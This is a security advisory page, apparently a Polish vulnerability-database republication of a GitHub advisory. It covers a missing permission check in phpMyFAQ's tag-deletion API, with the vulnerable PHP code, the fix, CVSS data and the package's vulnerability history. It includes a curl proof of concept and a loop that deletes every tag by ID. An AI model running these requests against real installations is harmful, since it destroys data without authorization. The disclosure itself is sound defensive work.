Średnia

phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags

  • Ujawniono: 06.05.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The TagController::delete() endpoint at DELETE /admin/api/content/tags/{tagId} only verifies that the user is logged in (userIsAuthenticated()), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with TagController::update() and TagController::search(), which both enforce the FAQ_EDIT permission.

Details

In phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php, the delete() method (line 121-133) uses only $this->userIsAuthenticated():

php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userIsAuthenticated();  // Only checks isLoggedIn() — no permission check

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

Compare with update() (line 48-71) which properly enforces authorization:

php
public function update(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check
    // ... also verifies CSRF token ...
}

The userIsAuthenticated() method in AbstractController (line 258-263) only checks $this->currentUser->isLoggedIn():

php
protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}

There is no admin-level middleware in the Kernel — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (admin/api/index.php) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.

Additionally, this endpoint lacks CSRF token verification (unlike update()), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.

PoC

bash
# Step 1: Register as a regular user on the phpMyFAQ frontend
# (or use any existing non-admin authenticated session)

# Step 2: As the authenticated non-admin user, delete tag with ID 1:
curl -X DELETE 'https://target.com/admin/api/content/tags/1' \
  -H 'Cookie: PHPSESSID=<regular_user_session>'

# Expected: 401 or 403 (user lacks FAQ_EDIT permission)
# Actual: 200 OK with {"success": "..."}

# Step 3: Enumerate and delete all tags:
for i in $(seq 1 100); do
  curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \
    -H 'Cookie: PHPSESSID=<regular_user_session>'
done

Impact

Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:

  • Data integrity loss: Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.
  • Disruption of FAQ organization: Tag-based navigation, filtering, and tag clouds become empty or broken.
  • No recoverability without backup: Deleted tags and their associations cannot be restored without a database backup.

The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.

Recommended Fix

Add the FAQ_EDIT permission check and CSRF token verification to TagController::delete(), consistent with TagController::update():

php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

At minimum, add $this->userHasPermission(PermissionType::FAQ_EDIT) to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated TAG_DELETE permission type for more granular access control.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer phpmyfaq/phpmyfaq < 4.1.2 4.1.2
Paczka Composer thorsten/phpmyfaq < 4.1.2 4.1.2

Odnośniki

Ocena CVSS 5.4/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Słabość (CWE)
CWE-862
Platforma
Composer
Paczka
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Ujawniono
06.05.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-7cx3-2qx2-3g6w - CC BY 4.0

Historia podatności: phpmyfaq/phpmyfaq

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (47) w archiwum
Wszystkich wpisów
47
Pierwsza → ostatnia
10.2022 09.2026
Bez poprawki
2
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 18
  • Średnia 25
  • Niska 2

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 0
  3. 2024: 11
  4. 2025: 3
  5. 2026: 32
Istotność:
  1. Wysoka · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Wysoka · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Wysoka · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags ten wpis
    Średnia · 5.4 CVE-2026-46365 < 4.1.2 4.1.2
  5. Wysoka · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  6. Wysoka · 7.2 CVE-2024-28105 >= 3.2.5, < 3.2.6 3.2.6
  7. Wysoka · 8.8 CVE-2024-28107 >= 3.2.5, < 3.2.6 3.2.6
  8. Wysoka · 8.8 CVE-2024-27299 >= 3.2.5, < 3.2.6 3.2.6
  9. Wysoka · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.